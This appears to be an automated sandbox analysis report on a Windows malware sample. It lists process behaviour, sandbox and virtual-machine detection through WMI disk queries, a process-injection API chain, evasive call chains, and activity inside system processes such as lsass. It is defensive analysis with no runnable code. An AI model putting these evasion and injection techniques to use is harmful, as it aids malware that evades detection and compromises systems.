Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe

Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,

8_2_0000000140001868

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_DiskDrive
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_DiskDrive

Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Memory allocated: 246B6B00000 memory reserve \| memory write watch
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Memory allocated: 246CEBD0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5678	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4132	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5740	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3962	Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_8-612
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_8-615
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_8-574

Source: C:\Windows\System32\winlogon.exe	API coverage: 6.2 %
Source: C:\Windows\System32\lsass.exe	API coverage: 9.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.1 %
Source: C:\Windows\System32\dwm.exe	API coverage: 6.1 %
Source: C:\Windows\System32\cmd.exe	API coverage: 8.5 %
Source: C:\Windows\System32\conhost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 2.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep count: 5678 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep count: 4132 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1004	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 2160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 6680	Thread sleep count: 211 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 4248	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1216	Thread sleep count: 175 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 5800	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2260	Thread sleep count: 133 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4456	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3616	Thread sleep count: 132 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4176	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3592	Thread sleep count: 90 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6732	Thread sleep count: 112 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5024	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3520	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6840	Thread sleep count: 90 > 30
Source: C:\Windows\System32\svchost.exe TID: 5164	Thread sleep count: 89 > 30
Source: C:\Windows\System32\svchost.exe TID: 3804	Thread sleep count: 86 > 30
Source: C:\Windows\System32\svchost.exe TID: 5664	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 1716	Thread sleep count: 76 > 30
Source: C:\Windows\System32\svchost.exe TID: 1988	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 5368	Thread sleep count: 76 > 30
Source: C:\Windows\System32\svchost.exe TID: 2008	Thread sleep count: 75 > 30
Source: C:\Windows\System32\svchost.exe TID: 2916	Thread sleep count: 73 > 30
Source: C:\Windows\System32\svchost.exe TID: 5952	Thread sleep count: 68 > 30
Source: C:\Windows\System32\svchost.exe TID: 5080	Thread sleep count: 63 > 30
Source: C:\Windows\System32\svchost.exe TID: 5268	Thread sleep count: 59 > 30
Source: C:\Windows\System32\svchost.exe TID: 5744	Thread sleep count: 49 > 30
Source: C:\Windows\System32\svchost.exe TID: 5944	Thread sleep count: 53 > 30
Source: C:\Windows\System32\svchost.exe TID: 6664	Thread sleep count: 48 > 30
Source: C:\Windows\System32\dllhost.exe TID: 4960	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1664	Thread sleep count: 44 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 5196	Thread sleep count: 34 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC64DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64D894 FindFirstFileExW,	9_2_00000225DC64D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC67DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67D894 FindFirstFileExW,	9_2_00000225DC67D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00000225DC6ADA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6AD894 FindFirstFileExW,	9_2_00000225DC6AD894
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AEDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00000202C0AEDA18
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AED894 FindFirstFileExW,	10_2_00000202C0AED894
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_000002A66130DA18
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130D894 FindFirstFileExW,	11_2_000002A66130D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAED9DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9D894 FindFirstFileExW,	14_2_000002BAAED9D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_000002BAAEE0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0D894 FindFirstFileExW,	14_2_000002BAAEE0D894
